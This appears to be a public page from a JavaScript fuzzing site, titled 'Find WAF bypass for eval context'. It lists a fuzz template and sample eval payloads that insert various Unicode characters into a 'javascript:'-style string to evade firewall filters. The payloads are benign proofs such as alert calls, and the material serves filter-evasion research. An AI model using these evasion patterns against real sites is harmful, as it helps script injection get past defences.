Find WAF bypass for eval context

⚠ Browser differences

Find what characters are allowable inside `javascript` in `eval` (redundant much?)

Created byelieehel

Created Nov 22, 2024

Updated May 28, 2025

Detecting browser...

CategoryJavaScript Syntax

VisibilityPublic

TypeJS

CharsetUTF-8

Code used before fuzz:

let v = '';

Template used:

try { v = "javasc$[chr]ript$[chr]:(1)"; if (eval(v)) { console.log(v); log('$[i]') } } catch(e) { v = '' }

Code used after fuzz:

console.log("after fuzz", v);

Sample payloads

try { v = "javasc$ript$:(1)"; if (eval(v)) { console.alert(v); alert('36') } } catch(e) { v = '' }

try { v = "javasc_ript_:(1)"; if (eval(v)) { console.alert(v); alert('95') } } catch(e) { v = '' }

try { v = "javascªriptª:(1)"; if (eval(v)) { console.alert(v); alert('170') } } catch(e) { v = '' }

try { v = "javascµriptµ:(1)"; if (eval(v)) { console.alert(v); alert('181') } } catch(e) { v = '' }

try { v = "javasc·ript·:(1)"; if (eval(v)) { console.alert(v); alert('183') } } catch(e) { v = '' }

try { v = "javascºriptº:(1)"; if (eval(v)) { console.alert(v); alert('186') } } catch(e) { v = '' }

try { v = "javascˬriptˬ:(1)"; if (eval(v)) { console.alert(v); alert('748') } } catch(e) { v = '' }

try { v = "javascˮriptˮ:(1)"; if (eval(v)) { console.alert(v); alert('750') } } catch(e) { v = '' }

try { v = "javascͿriptͿ:(1)"; if (eval(v)) { console.alert(v); alert('895') } } catch(e) { v = '' }

try { v = "javascΌriptΌ:(1)"; if (eval(v)) { console.alert(v); alert('908') } } catch(e) { v = '' }

try { v = "javascՙriptՙ:(1)"; if (eval(v)) { console.alert(v); alert('1369') } } catch(e) { v = '' }

try { v = "javascֿriptֿ:(1)"; if (eval(v)) { console.alert(v); alert('1471') } } catch(e) { v = '' }

try { v = "javascׇriptׇ:(1)"; if (eval(v)) { console.alert(v); alert('1479') } } catch(e) { v = '' }

try { v = "javascۿriptۿ:(1)"; if (eval(v)) { console.alert(v); alert('1791') } } catch(e) { v = '' }

try { v = "javascߺriptߺ:(1)"; if (eval(v)) { console.alert(v); alert('2042') } } catch(e) { v = '' }

try { v = "javasc߽ript߽:(1)"; if (eval(v)) { console.alert(v); alert('2045') } } catch(e) { v = '' }

try { v = "javascলriptল:(1)"; if (eval(v)) { console.alert(v); alert('2482') } } catch(e) { v = '' }

try { v = "javascৗriptৗ:(1)"; if (eval(v)) { console.alert(v); alert('2519') } } catch(e) { v = '' }

try { v = "javascৼriptৼ:(1)"; if (eval(v)) { console.alert(v); alert('2556') } } catch(e) { v = '' }